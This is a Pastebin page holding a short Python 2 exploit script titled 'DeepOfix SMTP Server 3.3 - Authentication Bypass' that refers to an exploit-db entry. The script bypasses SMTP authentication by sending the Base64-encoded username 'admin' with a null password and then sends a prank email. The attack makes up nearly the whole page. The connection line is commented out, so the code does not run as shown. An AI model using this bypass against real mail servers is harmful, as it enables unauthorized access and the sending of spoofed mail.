Advertisement
Googleinurl

DeepOfix SMTP Server 3.3 - Authentication Bypass

Nov 29th, 2013
645
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.06 KB | None | 0 0
  1. #!/usr/bin/python
  2. import smtplib                       
  3.      #http://www.exploit-db.com/exploits/29706/                    
  4.      # Select the sender and the receivers            
  5.      sender = 'sender@mail'                   
  6.      receivers = ['receiver@mail.com']            
  7.                                   
  8.      # Write the message                      
  9.      message = """                        
  10.        From: From Sender <sender@mail.com>          
  11.        To: To Receiver <receiver@mail.com>          
  12.        Subject: NSA is watching you!              
  13.                                   
  14.        This is a really important message... xD       
  15.        """                        
  16.                                   
  17.      # Connect to the SMTP server and send the email      
  18.      try:                             
  19.        # server = smtplib.SMTP('deepofix.local', 25)      
  20.                                   
  21.        # Auth login --> admin/null in Base64           
  22.        server.docmd("auth login")             
  23.        server.docmd("YWRtaW4=")               
  24.        server.docmd("AA==")                   
  25.                                   
  26.        server.sendmail(sender, receivers, message)            
  27.        print "Successfully sent email"            
  28.                                   
  29.      except:                          
  30.            print "Error: unable to send email"  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement